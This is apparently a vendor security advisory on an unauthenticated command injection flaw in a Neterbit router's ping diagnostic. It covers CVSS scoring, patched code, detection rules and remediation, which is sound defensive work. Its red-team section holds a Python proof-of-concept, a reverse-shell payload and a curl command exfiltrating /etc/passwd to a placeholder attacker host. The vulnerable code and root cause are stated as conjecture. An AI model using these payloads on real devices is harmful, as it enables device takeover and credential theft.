CVE-2025-67447

Executive Summary

CVE-2025-67447 is a critical OS command injection vulnerability in the Neterbit NW-431F router's network diagnosis (ping) module. The vulnerability allows an unauthenticated attacker to inject arbitrary operating system commands via the IP address field, which are then executed with the privileges of the web server. With a CVSS score of 9.8, this flaw poses a severe risk to network integrity and confidentiality. No patch is currently available from the vendor, making immediate mitigation actions essential.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical due to the lack of authentication required, low complexity of exploitation, and the potential for full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the network diagnosis (ping) module of the Neterbit NW-431F router firmware version 20241014-IR03 and earlier. The application fails to sanitize user-supplied input in the IP address field before passing it to the system's ping command. An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Root Cause: The application likely uses a function similar to system() or exec() in PHP or a CGI script, directly concatenating user input into a command string without validation or escaping.

Attack Vector: An unauthenticated attacker sends a crafted HTTP request to the router's web interface, targeting the ping functionality. The injected commands run with the privileges of the web server (typically root or a privileged user).

Impact: Full device compromise, including the ability to exfiltrate data, install malware, pivot to internal networks, or disrupt operations.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP/CGI):

<?php
$ip = $_POST['ip_address'];
$output = shell_exec("ping -c 4 " . $ip);
echo "<pre>$output</pre>";
?>

Patched Code (Conceptual):

<?php
$ip = $_POST['ip_address'];
// Validate IP address format
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    // Escape shell arguments
    $escaped_ip = escapeshellarg($ip);
    $output = shell_exec("ping -c 4 " . $escaped_ip);
    echo "<pre>$output</pre>";
} else {
    echo "Invalid IP address.";
}
?>

The patched version uses filter_var() to validate the IP format and escapeshellarg() to prevent command injection.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://<router_ip>/ping.php"
payload = "127.0.0.1; id"
data = {"ip_address": payload}

try:
    r = requests.post(target, data=data, timeout=5)
    print(r.text)
except Exception as e:
    print(f"Error: {e}")

Usage: Replace <router_ip> with the target router's IP. The id command will be executed, and the output will be displayed in the response.

Advanced Payloads:

• Reverse shell: 127.0.0.1; bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1
• Data exfiltration: 127.0.0.1; curl http://<attacker_ip>/$(cat /etc/passwd)

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /ping.php or similar endpoints with suspicious IP address parameters containing shell metacharacters (;, |, &, $, `).
2. Analyze network traffic for outbound connections from the router to unknown IPs on unusual ports (e.g., 4444).
3. Check system logs for unexpected command execution or process spawning.

Honeypot Setup:

• Deploy a fake ping endpoint that logs all input and alerts on special characters.
• Use a low-interaction honeypot to capture attacker payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /ping.php or /cgi-bin/ping with ip_address parameter containing shell metacharacters.
  • Outbound connections from the router to attacker-controlled IPs on ports 4444, 8080, or 80.
• File IOCs:
  • Unexpected files in /tmp/ or /var/ (e.g., shell.sh, reverse.sh).
  • Modified system binaries or scripts.
• Process IOCs:
  • Unusual processes like bash, nc, python, or perl spawned by the web server user.
• Log IOCs:
  • Entries in /var/log/messages or /var/log/syslog showing command execution errors.

Detection Engineering

YARA Rule

rule CVE_2025_67447_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Neterbit NW-431F ping module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67447"
    strings:
        $cmd1 = "ip_address=" ascii wide nocase
        $cmd2 = "ping" ascii wide nocase
        $meta1 = /[;&|`$(){}]/
    condition:
        $cmd1 and $cmd2 and #meta1 > 0
}

Sigma Rule

title: CVE-2025-67447 Neterbit NW-431F Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests with command injection payloads in the ip_address parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'ip_address='
        cs-uri-query|re: '.*[;&|`$(){}].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in IP fields (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67447 Neterbit NW-431F Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"ip_address="; http_client_body; pcre:"/[;&|`$(){}]/R"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the ping module on the router's web interface if possible.
2. Restrict access to the router's management interface to trusted IPs only (e.g., via firewall rules).
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-term Fix:

• Vendor Patch: Await an official firmware update from Neterbit. Contact the vendor for an ETA.
• Workaround: If source code is available, apply input validation and output escaping as shown in the patched code example.
• Replace Device: Consider replacing the NW-431F with a more secure alternative if no patch is forthcoming.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block command injection patterns.
• Implement network segmentation to isolate the router from critical assets.

Valters IT